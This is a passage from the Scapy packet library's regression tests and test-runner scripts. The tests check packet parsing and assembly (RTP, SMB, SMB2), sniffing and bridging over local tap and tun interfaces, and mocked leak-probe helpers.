..............E. 0010 00 1C 00 01 00 00 40 01 7C DE 7F 00 00 01 7F 00 ......@.|....... 0020 00 01 08 00 F7 FF 00 00 00 00 .......... """[1:].split("\n") lines = iter(data) mock_input.side_effect = lambda: next(lines) return import_hexcap() pkt = test_import_hexcap() pkt = Ether(pkt) assert pkt[Ether].dst == "ff:ff:ff:ff:ff:ff" assert pkt[IP].dst == "127.0.0.1" assert ICMP in pkt = import_hexcap(input_string) data = """ 0000 FF FF FF FF FF FF AA AA AA AA AA AA 08 00 45 00 ..............E. 0010 00 1C 00 01 00 00 40 01 7C DE 7F 00 00 01 7F 00 ......@.|....... 0020 00 01 08 00 F7 FF 00 00 00 00 .......... """[1:] pkt = import_hexcap(data) pkt = Ether(pkt) assert pkt[Ether].dst == "ff:ff:ff:ff:ff:ff" assert pkt[IP].dst == "127.0.0.1" assert ICMP in pkt = padding() def test_padding(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/conf.padding_layer(str(i)) for i in range(2)]) p.padding() result_pl_padding = cmco.get_output() assert(len(result_pl_padding.split('\n')) == 5) assert("0000 30" in result_pl_padding) test_padding() = nzpadding() def test_nzpadding(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/conf.padding_layer("A%s" % i) for i in range(2)]) p.nzpadding() result_pl_nzpadding = cmco.get_output() assert(len(result_pl_nzpadding.split('\n')) == 5) assert("0000 41 30" in result_pl_nzpadding) test_nzpadding() = conversations() import mock @mock.patch("scapy.plist.do_graph") def test_conversations(mock_do_graph): def fake_do_graph(graph, **kwargs): return graph mock_do_graph.side_effect = fake_do_graph plist = PacketList([IP(dst="127.0.0.2")/TCP(dport=i) for i in range(2)]) plist.extend([IP(src="127.0.0.2")/TCP(sport=i) for i in range(2)]) plist.extend([IPv6(dst="::2", src="::1")/TCP(sport=i) for i in range(2)]) plist.extend([IPv6(src="::2", dst="::1")/TCP(sport=i) for i in range(2)]) plist.extend([Ether()/ARP(pdst="127.0.0.1")]) result_conversations = plist.conversations() assert(len(result_conversations.split('\n')) == 8) assert(result_conversations.startswith('digraph "conv" {')) assert("127.0.0.1" in result_conversations) assert("::1" in result_conversations) test_conversations() = sessions() pl = PacketList([Ether()/IPv6()/ICMPv6EchoRequest(), Ether()/IPv6()/IPv6()]) pl.extend([Ether()/IP()/IP(), Ether()/ARP()]) pl.extend([Ether()/Ether()/IP()]) assert(len(pl.sessions().keys()) == 5) = afterglow() import mock @mock.patch("scapy.plist.do_graph") def test_afterglow(mock_do_graph): def fake_do_graph(graph, **kwargs): return graph mock_do_graph.side_effect = fake_do_graph plist = PacketList([IP(dst="127.0.0.2")/TCP(dport=i) for i in range(2)]) plist.extend([IP(src="127.0.0.2")/TCP(sport=i) for i in range(2)]) result_afterglow = plist.afterglow() assert(len(result_afterglow.split('\n')) == 19) assert(result_afterglow.startswith('digraph "afterglow" {')) test_afterglow() = psdump() print("PYX: %d" % PYX) if PYX: import tempfile import os filename = tempfile.mktemp(suffix=".eps") plist = PacketList([IP()/TCP()]) plist.psdump(filename) assert(os.path.exists(filename)) os.unlink(filename) = pdfdump() print("PYX: %d" % PYX) if PYX: import tempfile import os filename = tempfile.mktemp(suffix=".pdf") plist = PacketList([IP()/TCP()]) plist.pdfdump(filename) assert(os.path.exists(filename)) os.unlink(filename) = svgdump() print("PYX: %d" % PYX) if PYX and not six.PY2: import tempfile import os filename = tempfile.mktemp(suffix=".svg") plist = PacketList([IP()/TCP()]) plist.svgdump(filename) assert(os.path.exists(filename)) os.unlink(filename) = __getstate__ / __setstate__ (used by pickle) import pickle frm = Ether(src='00:11:22:33:44:55', dst='00:22:33:44:55:66')/Raw() frm.time = EDecimal(123.45) frm.sniffed_on = "iface" frm.wirelen = 1 pl = PacketList(res=[frm, frm], name='WhatAGreatName') pickled = pickle.dumps(pl) pl = pickle.loads(pickled) assert pl.listname == "WhatAGreatName" assert len(pl) == 2 assert pl[0].time == 123.45 assert pl[0].sniffed_on == "iface" assert pl[0].wirelen == 1 assert pl[0][Ether].src == '00:11:22:33:44:55' assert pl[1][Ether].dst == '00:22:33:44:55:66' ############ ############ + Scapy version = _version() import os version_filename = os.path.join(scapy._SCAPY_PKG_DIR, "VERSION") version = scapy._version() assert(os.path.exists(version_filename)) import mock with mock.patch("scapy._version_from_git_describe") as version_mocked: version_mocked.side_effect = Exception() assert(scapy._version() == version) os.unlink(version_filename) assert(scapy._version() == "git-archive.dev$Format:%h") ############ # RTP ############ + RTP tests = test rtp with extension header ~ rtp data = b'\x90o\x14~YY\xf5h\xcc#\xd7\xcfUH\x00\x03\x167116621 \x000\x00' pkt = RTP(data) assert "RTP" in pkt parsed = pkt["RTP"] assert parsed.version == 2 assert parsed.extension assert parsed.numsync == 0 assert not parsed.marker assert parsed.payload_type == 111 assert parsed.sequence == 5246 assert parsed.timestamp == 1499067752 assert parsed.sourcesync == 0xcc23d7cf assert "RTPExtension" in parsed, parsed.show() assert parsed["RTPExtension"].header_id == 0x5548 assert parsed["RTPExtension"].header == [0x16373131,0x36363231,0x20003000] = test layer creation created = RTP(extension=True, payload_type="PCMA", sequence=0x1234, timestamp=12345678, sourcesync=0xabcdef01) created /= RTPExtension(header_id=0x4321, header=[0x11223344]) assert raw(created) == b'\x90\x08\x124\x00\xbcaN\xab\xcd\xef\x01C!\x00\x01\x11"3D' parsed = RTP(raw(created)) assert parsed.payload_type == 8 assert "RTPExtension" in parsed, parsed.show() assert parsed["RTPExtension"].header == [0x11223344] = test RTP without extension created = RTP(extension=False, payload_type="DVI4", sequence=0x1234, timestamp=12345678, sourcesync=0xabcdef01) assert raw(created) == b'\x80\x11\x124\x00\xbcaN\xab\xcd\xef\x01' parsed = RTP(raw(created)) assert parsed.sourcesync == 0xabcdef01 assert "RTPExtension" not in parsed = UTscapy HTML output import tempfile, os from scapy.tools.UTscapy import TestCampaign, pack_html_campaigns test_campaign = TestCampaign("test") test_campaign.output_file = tempfile.mktemp() html = pack_html_campaigns([test_campaign], None, local=True) dirname = os.path.dirname(test_campaign.output_file) filename_js = "%s/UTscapy.js" % dirname filename_css = "%s/UTscapy.css" % dirname assert os.path.isfile(filename_js) assert os.path.isfile(filename_css) os.remove(filename_js) os.remove(filename_css) #= Test snmpwalk() # #~ netaccess #def test_snmpwalk(dst): # with ContextManagerCaptureOutput() as cmco: # snmpwalk(dst=dst) # output = cmco.get_output() # expected = "No answers\n" # assert(output == expected) # #test_snmpwalk("secdev.org") = test get_temp_dir dname = get_temp_dir() assert os.path.isdir(dname) = test fragleak functions ~ netaccess linux fragleak import mock @mock.patch("scapy.layers.inet.conf.L3socket") @mock.patch("scapy.layers.inet.select.select") @mock.patch("scapy.layers.inet.sr1") def _test_fragleak(func, sr1, select, L3socket): packets = [IP(src="4.4.4.4")/ICMP()/IPerror(dst="8.8.8.8")/conf.padding_layer(load=b"greatdata")] iterator = iter(packets) ne = lambda *args, **kwargs: next(iterator) L3socket.side_effect = lambda: Bunch(recv=ne, send=lambda x: None) sr1.side_effect = ne select.side_effect = lambda a, b, c, d: a+b+c with ContextManagerCaptureOutput() as cmco: func("8.8.8.8", count=1) out = cmco.get_output() return "greatdata" in out assert _test_fragleak(fragleak) assert _test_fragleak(fragleak2) scapy-2.4.4/test/run_tests000077500000000000000000000007251372370053500156040ustar00rootroot00000000000000#! /bin/sh DIR=$(dirname "$0")/.. if [ -z "$PYTHON" ] then ARGS=$(getopt 23 "$*" 2> /dev/null) for arg in $ARGS do case $arg in -2) PYTHON=python2; shift;; -3) PYTHON=python3; shift;; --) PYTHON=python3; break;; esac done fi $PYTHON --version > /dev/null 2>&1 if [ ! $? -eq 0 ] then echo "WARNING: '$PYTHON' not found, using 'python' instead." PYTHON=python fi PYTHONPATH=$DIR exec "$PYTHON" ${DIR}/scapy/tools/UTscapy.py "$@" scapy-2.4.4/test/run_tests.bat000066400000000000000000000006451372370053500163470ustar00rootroot00000000000000@echo off set MYDIR=%~dp0.. set PWD=%MYDIR% set PYTHONPATH=%MYDIR% REM shift will not work with %* set "_args=%*" IF "%1" == "--2" ( set PYTHON=python set "_args=%_args:~3%" ) ELSE IF "%1" == "--3" ( set PYTHON=python3 set "_args=%_args:~3%" ) IF "%PYTHON%" == "" set PYTHON=python3 WHERE %PYTHON% >nul 2>&1 IF %ERRORLEVEL% NEQ 0 set PYTHON=python %PYTHON% "%MYDIR%\scapy\tools\UTscapy.py" %_args%scapy-2.4.4/test/sendsniff.uts000066400000000000000000000225051372370053500163440ustar00rootroot00000000000000% send, sniff, sr* tests for Scapy ~ netaccess ############ ############ + Test bridge_and_sniff() using tap sockets ~ tap linux = Create two tap interfaces import subprocess from threading import Thread tap0, tap1 = [TunTapInterface("tap%d" % i) for i in range(2)] if LINUX: for i in range(2): assert subprocess.check_call(["ip", "link", "set", "tap%d" % i, "up"]) == 0 else: for i in range(2): assert subprocess.check_call(["ifconfig", "tap%d" % i, "up"]) == 0 = Run a sniff thread on the tap1 **interface** * It will terminate when 5 IP packets from 1.2.3.4 have been sniffed t_sniff = Thread( target=sniff, kwargs={"iface": "tap1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"} ) t_sniff.start() = Run a bridge_and_sniff thread between the taps **sockets** * It will terminate when 5 IP packets from 1.2.3.4 have been forwarded t_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"}) t_bridge.start() = Send five IP packets from 1.2.3.4 to the tap0 **interface** time.sleep(1) sendp([Ether(dst=ETHER_BROADCAST) / IP(src="1.2.3.4") / ICMP()], iface="tap0", count=5) = Wait for the threads t_bridge.join() t_sniff.join() = Run a sniff thread on the tap1 **interface** * It will terminate when 5 IP packets from 2.3.4.5 have been sniffed t_sniff = Thread( target=sniff, kwargs={"iface": "tap1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "2.3.4.5"} ) t_sniff.start() = Run a bridge_and_sniff thread between the taps **sockets** * It will "NAT" packets from 1.2.3.4 to 2.3.4.5 and will terminate when 5 IP packets have been forwarded def nat_1_2(pkt): if IP in pkt and pkt[IP].src == "1.2.3.4": pkt[IP].src = "2.3.4.5" del pkt[IP].chksum return pkt return False t_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "xfrm12": nat_1_2, "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"}) t_bridge.start() = Send five IP packets from 1.2.3.4 to the tap0 **interface** time.sleep(1) sendp([Ether(dst=ETHER_BROADCAST) / IP(src="1.2.3.4") / ICMP()], iface="tap0", count=5) = Wait for the threads t_bridge.join() t_sniff.join() = Delete the tap interfaces if conf.use_pypy: # See https://pypy.readthedocs.io/en/latest/cpython_differences.html tap0.close() tap1.close() else: del tap0, tap1 ############ ############ + Test bridge_and_sniff() using tun sockets ~ tun linux not_pcapdnet = Create two tun interfaces import subprocess from threading import Thread tun0, tun1 = [TunTapInterface("tun%d" % i) for i in range(2)] if LINUX: for i in range(2): assert subprocess.check_call(["ip", "link", "set", "tun%d" % i, "up"]) == 0 else: for i in range(2): assert subprocess.check_call(["ifconfig", "tun%d" % i, "up"]) == 0 = Run a sniff thread on the tun1 **interface** * It will terminate when 5 IP packets from 1.2.3.4 have been sniffed t_sniff = Thread( target=sniff, kwargs={"iface": "tun1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"} ) t_sniff.start() = Run a bridge_and_sniff thread between the tuns **sockets** * It will terminate when 5 IP packets from 1.2.3.4 have been forwarded. t_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "xfrm12": lambda pkt: pkt, "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"}) t_bridge.start() = Send five IP packets from 1.2.3.4 to the tun0 **interface** time.sleep(1) conf.route.add(net="1.2.3.4/32", dev="tun0") send(IP(src="1.2.3.4", dst="1.2.3.4") / ICMP(), count=5) conf.route.delt(net="1.2.3.4/32", dev="tun0") = Wait for the threads t_bridge.join() t_sniff.join() = Run a sniff thread on the tun1 **interface** * It will terminate when 5 IP packets from 2.3.4.5 have been sniffed t_sniff = Thread( target=sniff, kwargs={"iface": "tun1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "2.3.4.5"} ) t_sniff.start() = Run a bridge_and_sniff thread between the tuns **sockets** * It will "NAT" packets from 1.2.3.4 to 2.3.4.5 and will terminate when 5 IP packets have been forwarded def nat_1_2(pkt): if IP in pkt and pkt[IP].src == "1.2.3.4": pkt[IP].src = "2.3.4.5" del pkt[IP].chksum return pkt return False t_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "xfrm12": nat_1_2, "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"}) t_bridge.start() = Send five IP packets from 1.2.3.4 to the tun0 **interface** time.sleep(1) conf.route.add(net="1.2.3.4/32", dev="tun0") send(IP(src="1.2.3.4", dst="1.2.3.4") / ICMP(), count=5) conf.route.delt(net="1.2.3.4/32", dev="tun0") = Wait for the threads t_bridge.join() t_sniff.join() = Delete the tun interfaces if conf.use_pypy: # See https://pypy.readthedocs.io/en/latest/cpython_differences.html tun0.close() tun1.close() else: del tun0, tun1 ############ ############ + Test bridge_and_sniff() using veth pairs ~ linux needs_root veth = Ensure bridge_and_sniff does not close sockets if data is send within xfrm on ingress interface with VEthPair('a_0', 'a_1') as veth_0: with VEthPair('b_0', 'b_1') as veth_1: xfrm_count = { 'a_0':0, 'b_0': 0 } def xfrm_x(pkt): pkt_tx = pkt.copy() ether_lyr = pkt_tx[Ether] ether_lyr.type = 0x1234 # we send to peer interface - avoid loop # send on receiving interface - triggers return None on recv() in L2Socket sendp(pkt_tx, iface=pkt.sniffed_on) global xfrm_count xfrm_count[pkt.sniffed_on] = xfrm_count[pkt.sniffed_on] + 1 return True t_bridge = Thread(target=bridge_and_sniff, args=('a_0', 'b_0'), kwargs={ 'xfrm12': xfrm_x, 'xfrm21': xfrm_x, 'store': False, 'count': 4, 'lfilter': lambda p: Ether in p and p[Ether].type == 0xbeef}) t_bridge.start() time.sleep(1) # send frames in both directions for if_name in ['a_1', 'b_1', 'a_1', 'b_1']: sendp([Ether(type=0xbeef) / Raw(b'On a scale from one to ten what is your favourite colour of the alphabet?')], iface=if_name) t_bridge.join(1) # now test of the socket used in bridge_and_sniff() was alive all the time assert (xfrm_count['a_0'] == 2) assert (xfrm_count['b_0'] == 2) ############ ############ + Test arpleak() using a tap socket ~ tap linux tcpdump = Create two tap interfaces import mock import struct import subprocess from threading import Thread import time tap0 = TunTapInterface("tap0") if LINUX: assert subprocess.check_call(["ip", "link", "set", "tap0", "up"]) == 0 else: assert subprocess.check_call(["ifconfig", "tap0", "up"]) == 0 def answer_arp_leak(pkt): mymac = b"\x00\x01\x02\x03\x04\x06" myip = b"\x01\x02\x03\x02" if not ARP in pkt: return e_src = pkt.src pkt = raw(pkt[ARP]) if pkt[:4] != b'\x00\x01\x08\x00': print("Invalid ARP") return hwlen, plen, op = struct.unpack('>BBH', pkt[4:8]) if op != 1: print("Invalid ARP op") return fmt = ('%ds%ds' % (hwlen, plen)) * 2 hwsrc, psrc, hwdst, pdst = struct.unpack(fmt, pkt[8:8 + (plen + hwlen) * 2]) if pdst[:4] != myip[:plen]: print("Invalid ARP pdst %r" % pdst) return ans = Ether(dst=e_src, src=mymac, type=0x0806) ans /= (b'\x00\x01\x08\x00' + struct.pack('>BBH' + fmt, hwlen, plen, 2, mymac, myip, hwsrc, psrc)) tap0.send(ans) print('Answered!') t_answer = Thread( target=sniff, kwargs={"prn": answer_arp_leak, "timeout": 10, "store": False, "opened_socket": tap0} ) t_answer.start() @mock.patch("scapy.layers.l2.get_if_addr") @mock.patch("scapy.layers.l2.get_if_hwaddr") def test_arpleak(mock_get_if_hwaddr, mock_get_if_addr, hwlen=255, plen=255): conf.route.ifadd("tap0", "1.2.3.0/24") mock_get_if_addr.side_effect = lambda _: "1.2.3.1" mock_get_if_hwaddr.side_effect = lambda _: "00:01:02:03:04:05" return arpleak("1.2.3.2/31", timeout=2, hwlen=hwlen, plen=plen) time.sleep(2) ans, unans = test_arpleak() assert len(ans) == 1 assert len(unans) == 1 ans, unans = test_arpleak(hwlen=6) assert len(ans) == 1 assert len(unans) == 1 ans, unans = test_arpleak(plen=4) assert len(ans) == 1 assert len(unans) == 1 t_answer.join(15) if t_answer.is_alive(): raise Exception("Test timed out") if conf.use_pypy: # See https://pypy.readthedocs.io/en/latest/cpython_differences.html tap0.close() else: del tap0 scapy-2.4.4/test/smb.uts000066400000000000000000000033171372370053500151460ustar00rootroot00000000000000############ ############ + SMB = test SMB Negociate Header - dissect # OK test rawpkt = b'\x45\x00\x00\x5b\x69\x10\x40\x00\x73\x06\xca\x85\x7a\xa0\x9a\xb6\xc0\xa8\xfe\x07\xeb\xec\x01\xbd\xaf\x97\x2e\xb7\x78\x60\x84\x6c\x50\x18\x40\x29\xd5\x36\x00\x00\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x01\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x20\x18\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 47 assert SMBNegociate_Protocol_Request_Header in pkt smb = pkt[SMBNegociate_Protocol_Request_Header] # Check header values print(smb.show()) assert smb.Start == b'\xffSMB' assert smb.Command == 0x72 # SMB_COM_NEGOCIATE # KO test rawpkt = b'\x45\x00\x00\x5b\x69\x10\x40\x00\x73\x06\xca\x85\x7a\xa0\x9a\xb6\xc0\xa8\xfe\x07\xeb\xec\x01\xbd\xaf\x97\x2e\xb7\x78\x60\x84\x6c\x50\x18\x40\x29\xd5\x36\x00\x00\x00\x00\x00\x2f\xf0\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x01\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x20\x18\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 47 assert SMBNegociate_Protocol_Request_Header_Generic in pkt # Should not have a proper SMBNegociate header as magic is \xf0SMB, not \xffSMB assert SMBNegociate_Protocol_Request_Header not in pkt = test SMB Negociate Header - assemble pkt = IP() / TCP() / NBTSession() / SMBNegociate_Protocol_Request_Header() assert pkt[NBTSession].TYPE == 0x00 # session message smb = pkt[SMBNegociate_Protocol_Request_Header] assert smb.Start == b'\xffSMB' scapy-2.4.4/test/smb2.uts000066400000000000000000000331641372370053500152330ustar00rootroot00000000000000+ SMB2 Header = SMB2 Header dissecting # OK test rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 assert SMB2_Header in pkt smb2 = pkt[SMB2_Header] # Check header values print(smb2.show()) assert smb2.Start == b'\xfeSMB' assert smb2.HeaderLength == 64 assert smb2.CreditCharge == 1 assert smb2.ChannelSequence == 0 assert smb2.Command == 0 assert smb2.CreditsRequested == 0 assert smb2.Flags == 0 assert smb2.ChainOffset == 0 assert smb2.MessageID == 0 assert smb2.ProcessID == 0 assert smb2.TreeID == 0 assert smb2.SessionID == 0 assert smb2.Signature == 0xffeeddccbbaa99887766554433221100 # KO test rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xf0\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 # Should not have a proper SMB2 Header as magic is \xf0SMB (not valid) assert SMB2_Header not in pkt # KO test with compression header rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xfc\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 # Should not have a proper SMB2 Header as magic is \xfcSMB (compressed version) assert SMB2_Header not in pkt = SMB2 Header assembling pkt = IP() / TCP() / NBTSession() / SMB2_Header() assert pkt[NBTSession].TYPE == 0x00 # session message smb2 = pkt[SMB2_Header] assert smb2.Start == b'\xfeSMB' + SMB2 Negociate Procotol Request Header dissecting = Common fields in header # OK test rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 assert SMB2_Header in pkt assert SMB2_Negociate_Protocol_Request_Header in pkt nego_req = pkt[SMB2_Negociate_Protocol_Request_Header] # Check field values assert nego_req.StructureSize == 0x24 assert nego_req.DialectCount == 4 assert nego_req.SecurityMode == 0 assert nego_req.Capabilities == 0x7f000000 assert str(nego_req.ClientGUID) == 'f1849e59-619d-99ce-1f50-5c044474b10a' assert nego_req.NegociateContextOffset == 0x70 assert nego_req.NegociateCount == 4 for dialect in nego_req.Dialects: assert dialect in SMB_DIALECTS.keys() # Check SMB 2.1 assert 0x210 in nego_req.Dialects # Check SMB 3.0 assert 0x300 in nego_req.Dialects # Check SMB 3.0.2 assert 0x302 in nego_req.Dialects # Check SMB 3.1.1 assert 0x311 in nego_req.Dialects assert len(nego_req.NegociateContexts) == nego_req.NegociateCount = SMB2 Negociate Context in Request - type PREAUTH - disassemble preauth = nego_req.NegociateContexts[0] assert preauth.ContextType == 0x1 assert preauth.DataLength == 38 assert preauth.HashAlgorithmCount == 1 assert preauth.SaltLength == 32 assert preauth.Salt == b'\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18' assert len(preauth.HashAlgorithms) == 1 assert preauth.HashAlgorithms[0] == 0x1 = SMB2 Negociate Context in Request - type ENCRYPTION disassemble enc = nego_req.NegociateContexts[1] assert enc.ContextType == 0x2 assert enc.DataLength == 6 assert enc.CipherCount == 2 assert len(enc.Ciphers) == 2 assert enc.Ciphers[0] == 1 assert enc.Ciphers[1] == 2 = SMB2 Negociate Context in Request - type COMPRESSION comp = nego_req.NegociateContexts[2] assert comp.ContextType == 0x3 assert comp.DataLength == 16 assert comp.CompressionAlgorithmCount == 4 assert len(comp.CompressionAlgorithms) == 4 assert comp.CompressionAlgorithms[0] == 1 assert comp.CompressionAlgorithms[1] == 2 assert comp.CompressionAlgorithms[2] == 3 assert comp.CompressionAlgorithms[3] 